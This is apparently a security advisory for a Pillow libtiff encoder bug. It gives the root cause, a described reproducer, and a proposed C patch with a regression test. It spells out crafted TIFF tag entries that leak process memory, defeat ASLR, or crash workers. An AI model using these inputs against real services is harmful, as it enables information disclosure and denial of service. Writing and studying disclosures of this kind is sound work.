BREW-AIDER-CVE-2026-112902 (GHSA-XVH5-G6GV-559V)
Vulnerability from osv_homebrew – Published: 2026-10-22 09:13 – Updated: 2026-10-22 09:13 – Source website============================================================================
Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
Location: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary Image.open() followed by a bare im.save(fp, "TIFF"). The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from _imaging.so's read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.
The bug is in PyImaging_LibTiffEncoderNew (src/encode.c). It decides what arguments to pass to the variadic TIFFSetField() from the shape of the Python value (scalar, tuple or bytes). It assumes its ImagingLibTiffMergeFieldInfo() call defined how libtiff will read them. But TIFFMergeFieldInfo() never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:
- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.
- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.
Where that unwritten slot points depends on the compiler. In the tested clang build it points into _imaging.so, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with tiffinfo=im.tag_v2, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.
Other branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the bytes, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in a3d45e9cefd0 ("Added custom int and float TIFF tags") and first released in 5.4.0.
Details
PyImaging_LibTiffEncoderNew (src/encode.c:777-1060) chooses the argument
list it hands to the variadic TIFFSetField() from the Python value of each
tag — scalar vs. tuple vs. bytes, and a type that is either autodetected or
copied from the source file's IFD — and assumes that its own
ImagingLibTiffMergeFieldInfo() registration defines how libtiff will read the
va_list. It does not: libtiff keeps its built-in definition for every tag it
already knows, and core tags are never registered at all. libtiff therefore
consumes the varargs as (count, pointer), (pointer) or three pointers
according to its field table, whatever Pillow actually pushed. The encoder
never consults that table (TIFFFindField / TIFFFieldPassCount /
TIFFFieldWriteCount / TIFFFieldDataType) before the call.
The most severe instance, and the one the attached reproducer exercises: when a
TIFF is re-saved through the libtiff writer, every tag of the source IFD that
Pillow does not recognise is forwarded to libtiff with TIFFSetField(). A
count-1 integer entry is passed as a single scalar vararg. If libtiff's own
field table defines that tag number as an array field, libtiff consumes the
varargs as (count, pointer) or (pointer) instead, so the attacker's integer
becomes either the number of bytes to copy from a never-written vararg slot, or
the source address itself. The same mismatch is reachable through the typed
tuple branches (tuple length consumed as a pointer for fixed-count built-in
tags such as CFARepeatPatternDim, even when the source file is well-formed),
the bytes, TIFF_RATIONAL-tuple and core-tag branches of the same loop;
those are listed
under Other branches with the same defect below and need to be covered by the
same fix.
A 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry
50740 / LONG / count 1 / value 4096 — DNGPrivateData) opened with
Image.open() and saved with a bare im.save(buf, "TIFF") produces a 4296-byte
output whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning
/proc/self/mem finds them in the read-only data segment of _imaging.so.
Changing the extra entry to 50829 / LONG / 1 / 64 (ActiveArea) makes the same
two calls segfault in memcpy(dst, src=0x40, n=16) under
ImagingLibTiffSetField ← PyImaging_LibTiffEncoderNew. An ASan build of the
extensions reports READ of size 4096 in memcpy called from
src/encode.c:1014 for the first input.
Code path
_save copies all tags of the opened image into the libtiff attribute list.
For a tag that is neither in LIBTIFF_CORE nor in TiffTags.TAGS_V2, no type
is recorded, so the value goes through untyped:
# src/PIL/TiffImagePlugin.py:1782
supplied_tags = {**legacy_ifd, **getattr(im, "tag_v2", {})}
…
# :1959-1982
for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):
if tag not in TiffTags.LIBTIFF_CORE:
…
elif isinstance(value, (int, float, str, bytes)) or …:
type = TiffTags.lookup(tag).type # None for 50740, 50829, …
if type:
types[tag] = type
if tag not in atts and tag not in blocklist:
…
atts[tag] = value # plain int 4096
compression defaults to the source image's im.info["compression"]
(TiffImagePlugin.py:1731-1746), so a compressed source selects the libtiff
writer without the application asking for it.
In the encoder the untyped int is autodetected as TIFF_LONG
(src/encode.c:805-815), the tag is "registered" as a scalar custom field, and
then set with one 32-bit vararg:
// src/encode.c:844 (is_var_length = 0 → writecount 1, passcount 0)
if (ImagingLibTiffMergeFieldInfo(&encoder->state, type, key_int, is_var_length)) {
… continue;
}
…
// src/encode.c:1013-1016
} else if (type == TIFF_LONG || type == TIFF_IFD) {
status = ImagingLibTiffSetField(
&encoder->state, (ttag_t)key_int, (UINT32)PyLong_AsLong(value)
);
The registration does not do what the caller assumes. TIFFMergeFieldInfo()
only adds definitions for tags libtiff does not already know and returns 0
(success) either way, so for tags in libtiff's built-in table the built-in
definition stays in force. Queried against the linked libtiff 4.5.0 after
exactly Pillow's merge call:
50740 DNGPrivateData type=BYTE passcount=1 writecount=-1 (unchanged)
50829 ActiveArea type=LONG passcount=0 writecount=4 (unchanged)
65000 CustomField type=LONG passcount=0 writecount=1 (Pillow's definition, tag was unknown)
libtiff's setter for FIELD_CUSTOM tags then interprets the va_list
according to its definition: for passcount=1 it reads va_arg(ap, int) as
the element count — the attacker's 4096 — allocates count * size bytes and
memcpys that many bytes from va_arg(ap, void *), a slot
PyImaging_LibTiffEncoderNew never wrote. On x86-64 that slot is register
rcx; in this build it holds a pointer into _imaging.so's .rodata, so the
copy succeeds deterministically (a value of 2 000 000 also succeeds and yields a
2 000 200-byte output). TIFFWriteDirectory writes the copied bytes into the
output file as the tag's value. For fixed-count array fields (passcount=0,
writecount=4 for ActiveArea) there is no count argument, so the attacker's
scalar is consumed as the void * source and 16 bytes are read from address
64 → SIGSEGV.
Tags in libtiff 4.5's built-in table that Pillow forwards untyped and that take
the (count, pointer) form include DNGPrivateData 50740, CFAPattern 33422,
CFAPlaneColor 50710, LinearizationTable 50712, BlackLevel 50714, WhiteLevel
50717, ColorMatrix1/2 50721/50722, AsShotNeutral 50728, OriginalRawFileName/Data
50827/50828, AsShotICCProfile 50831, CurrentICCProfile 50833. Fixed-count ones
(pointer only → crash) include ActiveArea 50829, DNGVersion/DNGBackwardVersion
50706/50707, DefaultScale/DefaultCropOrigin/DefaultCropSize 50718–50720,
AsShotWhiteXY 50729, CFARepeatPatternDim 33421, BlackLevelRepeatDim 50713,
ImageLayer 34732, RawDataUniqueID 50781.
When the application saves with tiffinfo=im.tag_v2 (the documented way to
preserve metadata), the file-declared type is honoured, and a LONG8 entry
reaches the (uint64_t)PyLong_AsLongLong(value) branch at
src/encode.c:1049-1052. For ActiveArea that is a 16-byte read from a full
64-bit attacker-chosen address into the output: a source entry
50829 / LONG8 / 1 / <address of a Python bytes object> produced an output
ActiveArea of (b'SECR', b'ET-T', b'OKEN', b'-012') in testing.
The comment above blocklist += at TiffImagePlugin.py:1938-1944 already notes
that array tags with the wrong length "will result in segfaults"; the blocklist
covers only a handful of tags Pillow itself knows, not the ones libtiff knows and
Pillow does not. Forwarding of these tags was introduced in a3d45e9cefd0
("Added custom int and float TIFF tags", 2018-10-25), first released in 5.4.0;
releases 2.0.0–3.0.0 forwarded them as scalars too, until 9fa6634f4
("Partial fix for #1597") limited _save to LIBTIFF_CORE.
Other branches with the same defect
The scalar-integer branch above is one of several places in the same loop
where the call shape is derived from the Python value rather than from
libtiff's definition. All of the following were confirmed on this commit (stock
build crashes and/or ASan reports, stack always memcpy ← libtiff ←
ImagingLibTiffSetField src/libImaging/TiffDecode.c:934 ←
PyImaging_LibTiffEncoderNew), and all are reachable from a sub-1 KB crafted
file followed by an ordinary save():
- Typed tuple →
(len, av)for a fixed-count built-in field (src/encode.c:904-994, the SHORT/LONG/SBYTE/SSHORT/SLONG/FLOAT/DOUBLE tuple branches all callImagingLibTiffSetField(..., len, av)). For libtiff built-in fields withpasscount=0and a fixedwritecount—CFARepeatPatternDim33421 (SHORT×2),BlackLevelRepeatDim50713 (SHORT×2),ImageLayer34732 (LONG×2),ActiveArea50829 (LONG×4),MatrixWorldToScreen/Camera33305/33306 (FLOAT×16) — libtiff takes the first vararg as the source pointer, so the tuple length becomes thememcpysource address. A perfectly well-formed 206-byte 8×8 PackBits TIFF carrying33421 / SHORT / 2 / (2, 2)re-saved with a bareim.save(out, "TIFF")dies with SIGSEGV inmemcpy(gdb:rsi = 0x2, the tuple length) on every run; so doesImage.new("L", (8, 8)).save(buf, "TIFF", compression="packbits", tiffinfo={33421: (2, 2)}), and a JPEG whose EXIF carries the tag saved withexif=im.getexif()into a compressed TIFF.bytesvalues for built-in fixed-count BYTE tags (e.g.DNGVersion50706, BYTE×4) crash the same way through the(PyBytes_Size, PyBytes_AsString)call atsrc/encode.c:860-865. The mirror image forpasscount=1fields:Photoshop34377 declared SHORT, count 1, value 60000 takes the scalar branch at:1009-1012, libtiff reads 60000 as the count and an unpassed vararg as the pointer, and the re-save succeeds with a 60162-byte output whose tag 34377 holds 60000 bytes of process memory (here C prototype strings from_imaging.so's.rodata). bytesvalue → singlechar *(src/encode.c:805-815autodetectsbytesasTIFF_ASCII;:1033-1042passesPyBytes_AsString(value)alone).ImageFileDirectory_v2._setitemstores a BYTE-typed entry as barebytesand an ASCII-typed one asstr(encoded tobytesby_save), so the file's declared type selects this branch.ColorMap(320) declared BYTE with 4 bytes of data in a non-palette PackBits TIFF: 320 is incore_tags[], no type is consulted, the value skips the 768-tupleTIFFTAG_COLORMAPbranch (:871-895) and libtiff reads threeuint16_t *and copies1 << BitsPerSampleshorts from each — a 512-byte over-read of the 5-byte Python bytes buffer, then dereference of two stale argument registers → SIGSEGV on every run ofImage.open(f); im.save(out, "TIFF").COLORMAPis not in_save'sblocklist.Photoshop(34377) declared ASCII:_savecopies value and type (TiffImagePlugin.py:1802-1818; onlyIPTC_NAA_CHUNKhas a BYTE/UNDEFINED type guard there, from commit 2245df0a —PHOTOSHOP_CHUNKandXMPdo not). libtiff's definition is BYTE,passcount=1, so the low 32 bits of thechar *become the byte count for amemcpyfrom a stale register (ASan:READ of size 3518384; stock: SIGSEGV in about half of runs, otherwiseRuntimeError).ICCProfile(34675) declared ASCII behaves the same way viaim.info["icc_profile"]→ifd[ICCPROFILE](TiffImagePlugin.py:1822-1824).TIFF_RATIONALtuple → array with no count (src/encode.c:995-1006; compare theTIFF_FLOATbranch at:969-981, which passeslen, av).- For a private tag (e.g. 50000) Pillow itself registers the field with
passcount=1(TiffDecode.c:904-908), so libtiff takes the low 32 bits ofavas the element count and the next stale vararg as the source:heap-buffer-overflow READ of size 119872 … right of 8-byte regionunder ASan (119872 == 4 * low32(av)), SIGSEGV in ~4 of 5 stock runs. Reached by a JPEG whose EXIF carries one private RATIONAL×2 tag saved withim.save(out, "TIFF", compression="tiff_lzw", exif=im.info["exif"]), or a TIFF re-saved withtiffinfo=im.tag_v2(_setitemauto-types a tuple ofIFDRationalas RATIONAL,TiffImagePlugin.py:689-701;types[tag] = ifd.tagtype[tag]at:1968). - For libtiff's built-in fixed-count float tags
WhitePoint(318, 2),PrimaryChromaticities(319, 6) andYCbCrCoefficients(529, 3), which_saveforwards from any source TIFF and types RATIONAL viaTiffTags.lookup, the pointer-only convention happens to match, but libtiff copies its fixed count from an array that is only as long as the file declared: a PackBits TIFF withPrimaryChromaticitiescount 1 and a bareim.save(out, "TIFF")givesREAD of size 24 … right of 4-byte region, and the over-read floats are written to tag 319 of the output.REFERENCEBLACKWHITE/TRANSFERFUNCTIONare blocklisted atTiffImagePlugin.py:1941-1952for exactly this reason; 318/319/529 are not. - Core tag reached as a scalar via a stale file-supplied type. With the
re-save idiom
im.save(out, "TIFF", tiffinfo=im.tag_v2),_savecopiesifd.tagtype[key] = info.tagtype[key]for every key (TiffImagePlugin.py:1768-1776) and later assigns its own values to some of the same tags without resetting the type (ifd[COLORMAP] = colormapat:1870-1877; likewise BitsPerSample, SamplesPerPixel, ExtraSamples, ICCProfile, …). For a 418-byte PackBits palette TIFF whose ColorMap entry is declared BYTE,_setitem(:751-770) truncates_save's 768-entry palette to a singleint(with only a "too many entries" warning), the encoder receives(320, 0), autodetectsTIFF_LONG, andsrc/encode.c:1013-1016callsTIFFSetField(TIFFTAG_COLORMAP, (UINT32)0)— libtiff reads threeuint16_t *and faults at an address ≤ 65280 on every run. The stale-tagtype copy is a Python-side hygiene bug in its own right, but its memory-safety consequence exists only because the encoder lets a non-tuple value reachTIFFSetField(COLORMAP).
Impact
Any service that accepts a TIFF and writes it back out as TIFF through libtiff —
which happens with a plain im.save(fp, "TIFF") whenever the uploaded file is
compressed, or whenever a compression= other than raw is requested — returns
to the uploader, inside one metadata tag of the produced file, an
attacker-chosen number of bytes read from a stale pointer in the worker process,
deterministically and without retries. Which memory that is depends on the
compiler's register allocation for PyImaging_LibTiffEncoderNew: in this clang
build the pointer is _imaging.so + 0x1588, so a request for 262 144 bytes
(which succeeded every time in testing, as did 2 000 000) covers the
extension's .rodata, .data.rel.ro/GOT and .data and returned 2 800+
resolved pointers into libpython, libc, libtiff, libjpeg and others — a complete
ASLR bypass for chaining with any other memory bug; a gcc build of the same
source left a different, unrelated address in that slot. The fixed-count
variant kills the worker process with SIGSEGV from a 181-byte upload on every
request. With tiffinfo=im.tag_v2 the source
address is fully attacker-chosen (16-byte arbitrary read into the output for
ActiveArea, or a crash). No non-default Pillow setting is involved; the only
precondition is TIFF-to-TIFF re-encoding.
The other branches add further deterministic process-kill inputs (BYTE-typed
ColorMap in any RGB or palette TIFF; thumbnail() keeps tag_v2, so
open→thumbnail→save-as-TIFF is affected too) and extend the reach to
JPEG/PNG/WebP uploads whose EXIF is preserved with exif= when converting to
libtiff-compressed TIFF. All the memory errors are reads; libtiff sizes its
destination buffers with the same count it copies, so no out-of-bounds write
was found.
Reproducing
repro is one Python script, run against the stock build with the installed PIL. It needs no compiler and no extra files.
upload(tag, value) has Pillow write a 16×16 red RGB image as an LZW-compressed TIFF, then appends a new IFD holding the same entries plus one extra <tag> / LONG / count 1 / value (kept in tag order) and points the header at it — a 356-byte input on this tree. The source is LZW-compressed on purpose. A bare im.save(out, "TIFF") keeps the source's compression, so the save goes through the libtiff writer even though the application passes no arguments. resave() is the whole "application": Image.open(BytesIO(src)); im.save(out, "TIFF").
The script runs three cases:
- Control, tag 65000 = 4096. libtiff does not know this tag, so the file is re-saved correctly and the output tag reads back as the integer
4096. This is what should happen to every tag. - Leak, DNGPrivateData 50740 = 65536. libtiff's built-in definition of this tag is a counted BYTE array. It reads Pillow's single scalar as the count and takes the data pointer from a vararg slot Pillow never wrote. The output tag comes back as
bytesof length 65536 that do not occur in the input. The script prints the first 32 of them and the file offset at which they occur in_imaging.soon disk. On this build they always do (offset0x57588): the stale pointer aims into the extension's read-only data. - Wild read, ActiveArea 50829 = 64. libtiff defines this tag as a fixed LONG[4] array with no count, so it uses the scalar 64 as the source address. The script re-runs itself as a child process (
repro child, core dumps disabled) to do this re-save, and the child exits with-11, meaning SIGSEGV.
Expected output on the affected tree:
control tag 65000=4096 -> 4096
leak tag 50740=65536 from a 356-byte upload -> 65536 bytes not present in input, head a661fcffc661fcff3360fcff7b61fcffd361fcff085ffcffe061fcff3360fcff
leaked bytes found in _imaging.so at file offset 0x57588
crash tag 50829=64 -> child exit -11 (SIGSEGV)
BUG
The script prints BUG if case 2 leaks or case 3 crashes. Both are deterministic on this build. A fixed Pillow prints OK: the tag does not come back as 65536 bytes of foreign data (it reads back as None, or save() raises ValueError/RuntimeError, which the script catches), and the child exits with something other than SIGSEGV (0, or 1 if save() raised).
The other branches can be checked by hand on the stock build in the same way
(each as Image.open(f); im.save(BytesIO(), "TIFF") in a child process):
a PackBits RGB TIFF with an extra IFD entry 320 / BYTE / 4 / "ABCD" →
SIGSEGV every run; a PackBits palette TIFF whose ColorMap is 320 / BYTE / 2
saved with tiffinfo=im.tag_v2 → SIGSEGV every run; a Pillow-written JPEG
whose EXIF holds tag 50000 = RATIONAL×2 saved with
compression="tiff_lzw", exif=im.info["exif"] → SIGSEGV in most runs,
RuntimeError ("Failed to allocate memory for custom tag binary object
(-N elements of 4 bytes each)") in the rest.
Suggested fix
The encoder must not guess the calling convention; it has to ask libtiff what
the tag's effective definition is after ImagingLibTiffMergeFieldInfo and
marshal accordingly, or refuse. The attached patch does this for non-core tags:
- a new
ImagingLibTiffFindField()insrc/libImaging/TiffDecode.c(declared inTiffDecode.h, next to the other libtiff wrappers) returns libtiff'sTIFFFindFieldtype,passcountandwritecountfor a tag; - in
PyImaging_LibTiffEncoderNew(src/encode.c), for a non-core tag that libtiff already knows, Pillow adopts libtiff's type when it has none of its own, and afterImagingLibTiffMergeFieldInfoa newtiff_field_matches()checks the value against libtiff's definition: a scalar only for a single-value field whose C argument type (int /uint64_t/ double /char *) matches, an array only with libtiff's element size and, for fixed-count fields, exactlywritecountelements. Anything else raisesValueError("Tag value does not match libtiff field definition")instead of reachingTIFFSetField— this covers the reproducer's DNGPrivateData and ActiveArea inputs, ASCII-typed Photoshop, short PrimaryChromaticities and theLONG8tiffinfo=variant; - every tuple/
bytesbranch now goes throughset_tiff_array_field(), which passeslenonly when the field haspasscountset; this also fixes theTIFF_RATIONALbranch, which never passed a count (and extends it toTIFF_SRATIONAL); TIFF_UNDEFINEDfields are registered as variable-length, matching how theirbytesvalues are passed;Tests/test_file_libtiff.pygains a regression test (scalar DNGPrivateData, scalar and 2-tuple ActiveArea rejected; well-formed values round-trip).
Core tags and tags libtiff does not know keep their current behaviour. With the
patch applied to a clean checkout and rebuilt, the reproducer no longer
triggers and the test suite passes. It is not a complete fix, however: the
whole check sits inside if (!is_core_tag), so the BYTE-typed ColorMap variant
stays open. The PackBits RGB TIFF carrying 320 / BYTE / 4, re-saved with a
bare save(), no longer segfaults at this point but writes 1536 bytes —
over-read from the 5-byte bytes object and two stale varargs, including 22
live heap pointers — into the output ColorMap, which is still a disclosure.
Before merging, it needs a guard that accepts TIFFTAG_COLORMAP only through
the existing 768-tuple branch, never through the scalar or bytes branches,
and ideally the same shape check for the other core tags libtiff special-cases
in _TIFFVSetField (YCbCrSubsampling 530, TransferFunction 301,
ReferenceBlackWhite 532).
Narrower Python-side mitigations in _save close individual entry points but
not the class, and are worth adding alongside the C-side check: drop tags
with TiffTags.lookup(tag).type is None from supplied_tags (closes the Image.open()→save() path shown here but not
tiffinfo= callers); remove COLORMAP from supplied_tags next to
EXIFIFD/SAMPLEFORMAT and extend the IPTC_NAA_CHUNK BYTE/UNDEFINED type
guard to PHOTOSHOP_CHUNK and XMP; add 318/319/529 to the blocklist next to
REFERENCEBLACKWHITE; and have _save ifd.tagtype.pop(tag, None) before
assigning its own ColorMap/BitsPerSample/ICCProfile/… values so a
tiffinfo=-imported type cannot reshape them. The C-side check is the fix to
rely on.
The patch
Pass TIFF tag values to libtiff according to its own field definition, and raise ValueError when they do not fit
Applies to src/encode.c at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..adc4633e4 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -395,6 +395,43 @@ class TestFileLibTiff(LibTiffTestCase):
with pytest.raises(ValueError, match="Incorrect tag value type"):
im.save(out, tiffinfo=ifd)
+ @pytest.mark.parametrize(
+ "tag, value",
+ (
+ # DNGPrivateData is a BYTE array with a count to libtiff
+ (50740, 4096),
+ # ActiveArea is a LONG array of four values to libtiff
+ (50829, 64),
+ (50829, (0, 0)),
+ ),
+ )
+ def test_libtiff_field_definition(
+ self, tag: int, value: Any, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+ ) -> None:
+ monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
+
+ ifd = TiffImagePlugin.ImageFileDirectory_v2()
+ ifd[tag] = value
+ ifd.tagtype[tag] = TiffTags.LONG
+
+ out = tmp_path / "temp.tif"
+ im = Image.new("L", (1, 1))
+ with pytest.raises(ValueError, match="libtiff field definition"):
+ im.save(out, tiffinfo=ifd)
+
+ # Values that match the libtiff definition are written
+ ifd = TiffImagePlugin.ImageFileDirectory_v2()
+ ifd[50740] = b"private"
+ ifd.tagtype[50740] = TiffTags.BYTE
+ ifd[50829] = (0, 0, 1, 1)
+ ifd.tagtype[50829] = TiffTags.LONG
+ im.save(out, tiffinfo=ifd)
+
+ with Image.open(out) as reloaded:
+ assert isinstance(reloaded, TiffImagePlugin.TiffImageFile)
+ assert reloaded.tag_v2[50740] == b"private"
+ assert reloaded.tag_v2[50829] == (0, 0, 1, 1)
+
def test_inknames_tag(
self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
diff --git a/src/encode.c b/src/encode.c
index 9e19e9002..cbbd09f0d 100644
--- a/src/encode.c
+++ b/src/encode.c
@@ -675,6 +675,106 @@ PyImaging_ZipEncoderNew(PyObject *self, PyObject *args) {
#include <string.h>
+/* C type that TIFFSetField reads from its arguments for a single value of
+ the given type: int, uint64_t, double or char * */
+static int
+tiff_scalar_arg_type(TIFFDataType type) {
+ switch (type) {
+ case TIFF_BYTE:
+ case TIFF_SBYTE:
+ case TIFF_UNDEFINED:
+ case TIFF_SHORT:
+ case TIFF_SSHORT:
+ case TIFF_LONG:
+ case TIFF_SLONG:
+ case TIFF_IFD:
+ return 1;
+ case TIFF_LONG8:
+ case TIFF_SLONG8:
+ case TIFF_IFD8:
+ return 2;
+ case TIFF_FLOAT:
+ case TIFF_DOUBLE:
+ case TIFF_RATIONAL:
+ case TIFF_SRATIONAL:
+ return 3;
+ case TIFF_ASCII:
+ return 4;
+ default:
+ return 0;
+ }
+}
+
+/* Size of the values that TIFFSetField copies from an array of the given
+ type. libtiff stores custom RATIONAL arrays as floats. */
+static int
+tiff_array_item_size(TIFFDataType type) {
+ switch (type) {
+ case TIFF_BYTE:
+ case TIFF_SBYTE:
+ case TIFF_UNDEFINED:
+ case TIFF_ASCII:
+ return 1;
+ case TIFF_SHORT:
+ case TIFF_SSHORT:
+ return 2;
+ case TIFF_LONG:
+ case TIFF_SLONG:
+ case TIFF_IFD:
+ case TIFF_FLOAT:
+ case TIFF_RATIONAL:
+ case TIFF_SRATIONAL:
+ return 4;
+ case TIFF_DOUBLE:
+ case TIFF_LONG8:
+ case TIFF_SLONG8:
+ case TIFF_IFD8:
+ return 8;
+ default:
+ return 0;
+ }
+}
+
+/* Check that a value which will be passed to TIFFSetField as a single value
+ of the given type, or as an array of len values, matches the definition
+ of the field that libtiff will use. */
+static int
+tiff_field_matches(
+ TIFFDataType field_type,
+ int passcount,
+ int writecount,
+ TIFFDataType type,
+ int is_var_length,
+ Py_ssize_t len
+) {
+ if (field_type == TIFF_ASCII && !passcount) {
+ // TIFFSetField reads a null-terminated string
+ return !is_var_length && type == TIFF_ASCII;
+ }
+ if (!is_var_length) {
+ // TIFFSetField reads a single value
+ return !passcount && writecount == 1 && tiff_scalar_arg_type(type) &&
+ tiff_scalar_arg_type(type) == tiff_scalar_arg_type(field_type);
+ }
+ // TIFFSetField reads a pointer to the values, preceded by the number of
+ // values if passcount is set. Otherwise, the number of values is fixed.
+ if (!tiff_array_item_size(type) ||
+ tiff_array_item_size(type) != tiff_array_item_size(field_type)) {
+ return 0;
+ }
+ return passcount || (writecount > 1 && len == writecount);
+}
+
+static int
+set_tiff_array_field(
+ ImagingCodecState state, int key, int passcount, Py_ssize_t len, void *av
+) {
+ if (passcount) {
+ return ImagingLibTiffSetField(state, (ttag_t)key, len, av);
+ }
+ return ImagingLibTiffSetField(state, (ttag_t)key, av);
+}
+
PyObject *
PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
ImagingEncoderObject *encoder;
@@ -689,7 +789,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
PyObject *key, *value;
Py_ssize_t pos = 0;
int key_int, status, is_core_tag, is_var_length, num_core_tags, i;
- TIFFDataType type = TIFF_NOTYPE;
+ int is_known_tag, passcount, writecount;
+ TIFFDataType type = TIFF_NOTYPE, field_type;
// This list also exists in TiffTags.py
const int core_tags[] = {256, 257, 258, 259, 262, 263, 266, 269, 274, 277,
278, 280, 281, 282, 283, 284, 286, 287, 296, 297,
@@ -777,6 +878,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
status = 0;
is_core_tag = 0;
is_var_length = 0;
+ is_known_tag = 0;
+ passcount = 1;
type = TIFF_NOTYPE;
for (i = 0; i < num_core_tags; i++) {
@@ -800,6 +903,15 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
}
Py_DECREF(tag_type);
}
+
+ // libtiff uses its own definition for tags that it already knows,
+ // rather than the field registered below.
+ is_known_tag = ImagingLibTiffFindField(
+ &encoder->state, key_int, &field_type, &passcount, &writecount
+ );
+ if (is_known_tag && type == TIFF_NOTYPE) {
+ type = field_type;
+ }
}
if (type == TIFF_NOTYPE) {
@@ -838,7 +950,7 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
if (!is_core_tag) {
// Register field for non core tags.
- if (type == TIFF_BYTE) {
+ if (type == TIFF_BYTE || type == TIFF_UNDEFINED) {
is_var_length = 1;
}
if (ImagingLibTiffMergeFieldInfo(
@@ -847,6 +959,28 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
Py_DECREF(item);
continue;
}
+
+ if (is_known_tag) {
+ // Check that the value will be passed to TIFFSetField in the
+ // form that libtiff's definition of the tag expects.
+ Py_ssize_t len = 0;
+ if (PyTuple_Check(value)) {
+ len = PyTuple_Size(value);
+ } else if (PyBytes_Check(value)) {
+ len = PyBytes_Size(value);
+ }
+ if (!tiff_field_matches(
+ field_type, passcount, writecount, type, is_var_length, len
+ )) {
+ Py_DECREF(encoder);
+ Py_DECREF(item);
+ PyErr_SetString(
+ PyExc_ValueError,
+ "Tag value does not match libtiff field definition"
+ );
+ return NULL;
+ }
+ }
}
if (type == TIFF_BYTE || type == TIFF_UNDEFINED ||
@@ -857,9 +991,10 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
PyErr_SetString(PyExc_ValueError, "Incorrect tag value type");
return NULL;
}
- status = ImagingLibTiffSetField(
+ status = set_tiff_array_field(
&encoder->state,
- (ttag_t)key_int,
+ key_int,
+ passcount,
PyBytes_Size(value),
PyBytes_AsString(value)
);
@@ -909,8 +1044,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (UINT16)PyLong_AsLong(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
@@ -922,8 +1057,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (UINT32)PyLong_AsLong(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
@@ -935,8 +1070,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (INT8)PyLong_AsLong(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
@@ -948,8 +1083,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (INT16)PyLong_AsLong(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
@@ -961,8 +1096,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (INT32)PyLong_AsLong(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
@@ -974,8 +1109,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
@@ -987,12 +1122,12 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = PyFloat_AsDouble(PyTuple_GetItem(value, i));
}
- status = ImagingLibTiffSetField(
- &encoder->state, (ttag_t)key_int, len, av
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
);
free(av);
}
- } else if (type == TIFF_RATIONAL) {
+ } else if (type == TIFF_RATIONAL || type == TIFF_SRATIONAL) {
FLOAT32 *av;
/* malloc check ok, calloc checks for overflow */
